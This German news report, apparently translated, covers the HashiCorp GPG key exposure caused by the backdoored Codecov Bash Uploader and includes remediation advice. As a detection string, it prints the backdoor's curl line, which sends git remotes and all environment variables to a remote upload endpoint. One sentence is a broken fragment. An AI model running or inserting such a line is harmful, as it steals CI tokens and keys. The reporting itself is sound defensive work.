Die Firma HashiCorp, bekannt für die Entwicklung der Open-Source-Tools Vagrant, Packer, Nomad und Terraform, hat einen Vorfall gemeldet, bei dem ein geheimer GPG-Schlüssel, der zur Erstellung von digitalen Signaturen verwendet wird, die Releases verifizieren, kompromittiert wurde. Angreifer, die Zugang zu diesem GPG-Schlüssel erhielten, hätten potenziell versteckte Änderungen an den Produkten von HashiCorp vornehmen können, die mit einer korrekten digitalen Signatur beglaubigt worden wären. Das Unternehmen erklärte jedoch, dass bei einem durchgeführten Audit keine Hinweise auf Versuche gefunden wurden, solche Modifikationen vorzunehmen.
Der kompromittierte GPG-Schlüssel wurde mittlerweile zurückgezogen, und ein neuer Schlüssel wurde eingeführt. Das Problem betraf nur die Verifizierung über die SHA256SUM- und SHA256SUM.sig-Dateien, beeinflusste jedoch nicht die Erstellung digitaler Signaturen für die über releases.hashicorp.com bereitgestellten Linux-Pakete DEB und RPM, sowie die Mechanismen zur Bestätigung von Releases für macOS und Windows (AuthentiCode).
Die Leckage ereignete sich aufgrund der Nutzung eines Codecov Bash Uploaders (codecov-bash) innerhalb der Infrastruktur, der für das Hochladen von Coverage-Berichten aus kontinuierlichen Integrationssystemen gedacht ist. Während eines Angriffs auf das Unternehmen Codecov wurde in dieses Skript heimlich ein Backdoor integriert, über das die Übermittlung von Passwörtern und Verschlüsselungsschlüsseln organisiert wurde. Server Angreifer gesendet.
Für den Angriff nutzten die Angreifer eine Schwachstelle im Erstellungsprozess des Docker-Images von Codecov, die es ermöglichte, Zugangsdaten für GCS (Google Cloud Storage) zu extrahieren, die notwendig waren, um Änderungen am Bash Uploader-Skript vorzunehmen, das von der Website codecov.io verbreitet wurde. Die Änderungen wurden bereits am 31. Januar vorgenommen, blieben zwei Monate unentdeckt und ermöglichten es den Angreifern, Informationen abzurufen, die in den Umgebungen der kontinuierlichen Integrationssysteme der Kunden gespeichert waren. Mit dem hinzugefügten Schadcode konnten die Angreifer Informationen über das getestete Git-Repository und alle Umgebungsvariablen erfassen, einschließlich Tokens, Verschlüsselungsschlüsseln und Passwörtern, die in die kontinuierlichen Integrationssysteme zur Organisation des Zugriffs auf den Anwendungscode, Repositories und Dienste wie Amazon Web Services und GitHub übermittelt wurden.
Neben dem direkten Aufruf wurde das Codecov Bash Uploader-Skript auch in anderen Uploadern wie Codecov-action (Github), Codecov-circleci-orb und Codecov-bitrise-step verwendet, deren Benutzer ebenfalls von diesem Problem betroffen sind. Alle Benutzer von codecov-bash und verwandten Produkten wird empfohlen, ihre Infrastrukturen zu überprüfen und ihre Passwörter sowie Verschlüsselungsschlüssel zu ändern. Ein Backdoor im Skript kann erkannt werden, indem man nach der Zeile sucht: curl -sm 0.5 -d «$(git remote -v)<<< ENV $(env)» http:///upload/v2 || true
Quelle: opennet.ru
